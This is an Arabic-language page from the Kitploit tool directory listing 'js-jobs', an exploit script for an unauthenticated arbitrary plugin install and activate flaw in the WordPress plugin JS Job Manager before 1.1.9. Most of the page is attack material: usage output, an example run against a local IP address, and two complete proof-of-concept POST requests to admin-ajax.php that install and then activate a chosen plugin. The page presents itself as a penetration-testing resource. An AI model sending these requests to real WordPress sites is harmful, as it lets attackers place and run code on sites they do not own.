Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/randomrobbiebf/js-jobs
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubrandomrobbiebf/js-jobs

js-jobs

JS Job Manager < 1.1.9 - تثبيت/تفعيل إضافات تعسفي بدون مصادقة

عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

js-jobs

JS Job Manager < 1.1.9 - تثبيت/تفعيل إضافات عشوائي بدون مصادقة

الوصف

إجراء AJAX الخاص بـ jsjobs_ajax المتاح لكل من المستخدمين الموثقين وغير الموثقين لا يتحقق بشكل صحيح من الصلاحيات وفحوصات CSRF، خاصة عند استخدام installPluginFromAjax و activatePluginFromAjax، مما قد يسمح للمهاجمين غير الموثقين بتثبيت إضافات عشوائية من مستودع WordPress وتفعيلها (مع بعض القيود).

لا يوجد تحكم في إصدار الإضافة، لذا سيتم تثبيت أحدث إصدار من الإضافة.

طريقة الاستخدام

root@kitploit:~
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s

مثال

root@kitploit:~
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.

إثبات المفهوم

لتثبيت إضافة:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close

action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>

لتفعيل إضافة (يوجد قيد هنا، حيث يجب أن تحتوي الإضافة على ملف <slug>/<slug>.php، وإلا لن يتم تفعيلها):

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close

action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug> 
تنزيل الأداة